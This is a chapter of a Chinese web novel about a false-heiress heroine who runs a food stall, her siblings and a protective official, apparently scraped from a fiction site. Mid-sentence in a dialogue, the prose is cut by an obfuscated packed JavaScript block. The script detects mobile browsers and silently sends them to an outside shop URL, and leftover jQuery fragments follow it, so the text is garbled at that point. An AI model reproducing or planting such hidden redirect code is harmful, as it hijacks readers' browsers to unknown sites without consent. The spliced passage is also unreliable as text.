文趣网 > 其他小说 > 假千金只想开店赚钱 > 17. 最不吃压力之人
    “暄姐儿瞧不上你,你配不上映姐儿。”

    李婶直白地戳破傻儿子的幻想,端着碗绕过他进屋去了。

    李四先是一愣,随即又急急转身追了进去,拦住亲娘,不服气地追问:“当初还没有真假身份这回事,我自小同暄姐儿一同长大,她也时常来寻我说话,夸我木匠活儿做得好,哪里瞧不上我了?”

    李婶:“因为她不止夸你,米铺家的老小和酒水铺家的老三,她夸得更多、更好。”

    李四傻眼:“……我、我怎的不知道,娘你咋不跟我说这事?”

    “那会儿你一头热,我跟你说了你能信吗?”李婶反问:“说不定还要怪我这个老娘阻拦,等她攀了高枝儿将你撂下,你自然就知道了。”

    说罢不耐地将他拨到一边,进灶房盛饭去了。

    李家的头三个孩子都已成亲搬了出去,如今家中只有小儿子跟老两口。

    李四满心不是滋味儿地往嘴里扒了几口饭,想开口再问映姐儿,却又强自忍住了。不需娘开口,他也知道自己配不上映姐儿。

    李婶把闻映送来的角子往桌子中间推了推:“尝尝角子,映姐儿送来的。”

    李木匠皱眉,“怎么又送了?”

    李婶:“那孩子太懂事了。”

    李木匠不再吭声,夹了一个肚大滚圆的角子放进嘴里,嚼了几下几不可见地一顿,这个刚咽下去就又夹了一个。

    李婶的筷子也不停伸过去,夫妻俩一个接一个,等暗自神伤的李四回过神儿来的时候就见盛角子的碗底已经空了。

    李四:“……”

    又将稀粥一口气喝完,李木匠放下碗,打了个饱嗝,用手背抹一把嘴,嘱咐道:“老闻两口子去得突然,他们几个孩子不容易,平日多照看点儿。”

    李婶点头:“我晓得。”提起闻家两口子,李婶沉默了一会儿,谁能相信前一日还在跟自己说话的人,好端端地说没就没了。

    连他们这些多年的街坊都恍惚了多日,更别说闻家的几个孩子了,后面还又闹出真假孩子这事。

    “说起来,难道真是注定的一家人?”李婶想到刚回来没多久的闻映,感慨道:“映姐儿可是继承了老闻的好手艺,就说这角子,怎的她做出来,不单长得跟别家的不一样,滋味儿也这般好?”

    “我哪有什么特别法子,不过是随意做的。你们不都在边上看着么?”

    面对昭哥儿和晴姐儿一左一右的夸赞,闻映面上不动声色,腰杆却悄悄挺直了,嘴角噙着一点矜持的笑意。

    身为老大,得端得住,不能叫两个小崽子三言两语就哄得找不着北。

    昭哥儿又夹起一个角子,轻轻咬破皮,热腾腾的馅料涌出,韭菜、鸡子、木耳的香味和谐无比地交融在一起,一股脑儿裹着虾干的鲜味,直冲入脑中。

    “太鲜了姐姐!”

    “是小虾干的味道。”闻映咽下微微有些烫嘴的角子,含含糊糊地应了一声。

    熟悉的味道让她眯起眼睛,虽说眼下手边儿没那么多调料,可这滋味一点儿不输她从前吃过的,这都要归功于那包小虾干。

    足足花了她十五文!果然没白花。

    三人吃完角子,齐齐瘫在椅子上,谁也不想动弹。韭菜的鲜辣劲儿还赖在舌尖上,舍不得走。

    “姐姐,我最喜欢素三鲜角子了。”晴姐儿捧着脸,一脸陶醉。

    “花心小萝卜。”

    闻映起身走进灶房掀开锅盖,角子汤清亮亮的,表面浮着几星油花,看着清汤寡水,但其实韭菜、鸡蛋、虾干的鲜味都透进汤里了。

    一碗热腾腾的角子汤下肚,原汤化原食,闻映浑身骨头都轻了二两,通体舒畅。

    一晃来到这里也有半个多月了,日子虽忙碌,却也渐渐顺了手。

    她低头看了看手里的空碗,咂了咂嘴:行吧,就冲还能吃上这一碗饺子一碗汤,这穿越她彻底认啦。

    次日,闻映再次早早出发摆摊,为着早日挣够重开食肆的钱而努力,随身还附带一个晴姐儿。

    自打上回跟着出来过一趟,这丫头就再也不肯自己待在家里了。好在闻映教了几天,如今她已能数到五十,在一边儿帮着她收钱时,丝毫不出差错。

    闻映就把昭哥儿解放了出去,让他在家自己学习。昭哥儿原本是在一个老秀才开的私塾上课,这段日子因为家里的事,昭哥儿跟夫子请了长假。

    闻映回来后本就想让他先回去上学的,谁料那夫子年纪大了手脚不灵活,不小心摔了一跤,儿女就关了私塾将他接走照顾了,昭哥儿一下子变成了失学儿童。

    闻映这几日正打听着书院的事,汴京的好书院不少,但入学基本都需要考试,闻映就让昭哥儿最近自己先在家准备着。

    如今,州桥上卖煎饼果子和鸡子灌饼的,她还是独一份儿。

    那曹家坚持了没几天,到底是撑不住,又卖回了以前的油饼,但口碑已经坏了。

    如今提起他家,人人都道手艺一般,再加上他偷学手艺的事也被传了出去,左邻右舍的摊贩看他们的眼神都变了。

    没过多久,“曹家油饼”的摊子便消失了,也不知去了何处。

    与之相反,闻映的手艺已彻底打出了名气,越来越多的人慕名前来,专程为尝一口她做的饼。

    其间也有人动过心思,想出钱买她的配方。闻映思量再三,还是拒了。她日后是要开食肆的,有竞争力的东西,还是攥在自己手里最稳妥。

    “哟,小国舅爷又来了。”闻映正做着饼,就听一旁有人小声喊了一句。

    闻映抬头,就见徐行今日没有穿官服,而是换了一身月白色衣袍,和庞虎一同步履悠闲地往这边走。

    两人停在了队伍的末尾处。

    如今闻记小摊上的常客也都认得徐行了,见着他也不会再同之前一般大惊小怪。

    毕竟小国舅爷来了也得按照闻娘子的规矩跟他们一样排队。

    轮到他们时,闻映笑着打招呼:“两位大人今日休沐?”

    庞虎抢着答道:“是啊闻娘子,前两日忙得很,一直没得空过来。今儿好不容易歇一日,二郎君和我都念着你亲手做的饼呢。”

    徐行瞥了他一眼:“就你话多。”

    随即转回头,目光落在一如既往忙活得热火朝天的小娘子身上,状似随意问了句:“近日没什么人来吧?”

    闻映闻言一笑,不答反问:“大人指的哪方面的人?”

    徐行眉头一皱,语气中已带了几分不耐,“还真有不长眼的来了?”

    闻映彻底笑开,“让人喜欢的新客人来了很多,我都快要忙不过来了。”

    她顿了顿,又道:“烦人的嘛,倒也有一个,顺平侯。不过那也算不得什么,我直接把人撵回去了。”

    闻映话音落地,徐行眉头一挑,嘴角压了压,却没压住那一点浮上来的笑意。

    “撵回去了?”他重复了一遍,语气里带了点意味不明的玩味,“那老东西没跟你耍横?”

    “耍了。”闻映手上不停,利落地将一张新饼摊开,“他又让人传话来说再也不许我进侯府,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658440|206983||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也不许大娘子她们来看我。”

    “不过么……”

    她抬起头,眼角缀着一点狡黠的笑意,“腿长在我们自己身上,他管得着?”

    徐行“哈”了一声,眼里笑意更盛:“说得对,他管不着。”他伸手接过递来的饼,又补了一句,“你倒是没叫他唬住。”

    那是,从小到大她就是最不吃压力之人。

    闻映挑眉:“大人这是在夸我?”

    “夸你?”徐行哼了一声,偏过头去,“我是说你胆子太大,迟早惹出事来。”

    他后来也让人细细探查过了,这小娘子先前十八年的日子和大多数贵女一般乏善可陈。无非是气一气偏心的祖母,斗一斗姐妹,争一争宠爱,丝毫看不出什么可疑之处。

    或许真的是由于人生突遭巨变,才让她换了副性子,一夕之间便有了这般脱胎换骨的模样。

    他简单提了几句真假千金的事已经传出去了,至于这几日传得越来越离谱的流言和顺平侯的遭遇,他就没提。反正也不是什么要紧事。

    闻映一愣,随即恍然:“怪不得顺平侯忽然让人去家里警告我,让我不要再摆摊,原是这缘故。”

    临走前,徐行嘱咐她:“若有人再来生事,就去开封府或者国公府寻我。”

    闻映笑着应了一声“好”,心里却明镜似的。这话从他嘴里说出来,就是给她撑腰的意思了。

    不过她转念一想,又暗自嘀咕起来:原身亲生父亲和慧空法师的交情难道不一般?徐行这般照拂,除了职责所在,兴许也受了法师所托。

    忽地想起什么,她叫住正要离去的二人:“徐大人稍等!”

    她从盖着的筐子里夹出一样东西,搁在鏊子上刷油煎制,抬头道:“这两日我又琢磨了一样新吃食,叫素三鲜煎角子,请徐大人尝尝。”

    说着,又抿嘴一笑,“也是感谢徐大人一直以来的照拂,还望大人不要嫌弃。”

    徐行低头细看,哪有那么大的煎角子?

    庞虎一听,新吃食?立刻巴巴地凑上前去:“闻娘子,我的呢?”

    闻映偏头瞧他一眼,带着点歉意:“今日出门着急,只准备了两只,一只已经给晴姐儿吃了。”

    庞虎闻言低头,正坐在小板凳上的晴姐儿双手抱着一个胖胖的煎角子,睁着无辜的大眼睛与他对视。

    晴姐儿知道这个大人是好人,将煎角子从嘴边挪开,小声道:“大人别难过,等我姐姐明日多做些,我偷偷给你留一个!”

    庞虎哭笑不得,弯腰捏了捏她的小脸:“那我可就记下了啊,晴姐儿可不许赖账。”

    这原是闻映昨日准备的菜馅儿没用完,她灵机一动就想到了现代的煎饺。

    饺子爱好者都知道:水煮饺子固然美味,煎饺更是香喷喷呐。

    但是她又嫌再一个个包太麻烦,就直接擀了两张大皮儿,一口气儿把剩下所有的馅儿都塞了进去,包出两个大肚月牙儿角子,刚来的时候已经给晴姐儿煎好了一个。

    庞虎话音刚落,只听得“滋啦”一声,鏊子上的大角子底已煎得金黄焦脆,香气四溢。

    徐行站在一旁,抱着手臂,嘴角压着一点弧度,矜持地瞥了蔫嗒嗒的庞虎一眼,抬起下巴。

    “那就尝尝。”

    庞虎站在一旁,眼巴巴地看着那只煎饺被徐行拿走,长长叹了口气。

    两人离开后,闻映又忙活了一会儿。正低头收拾着鏊子上的油渍,忽然听见一道迟疑的声音:

    “闻娘子,我明日要的多些,你可能做得?”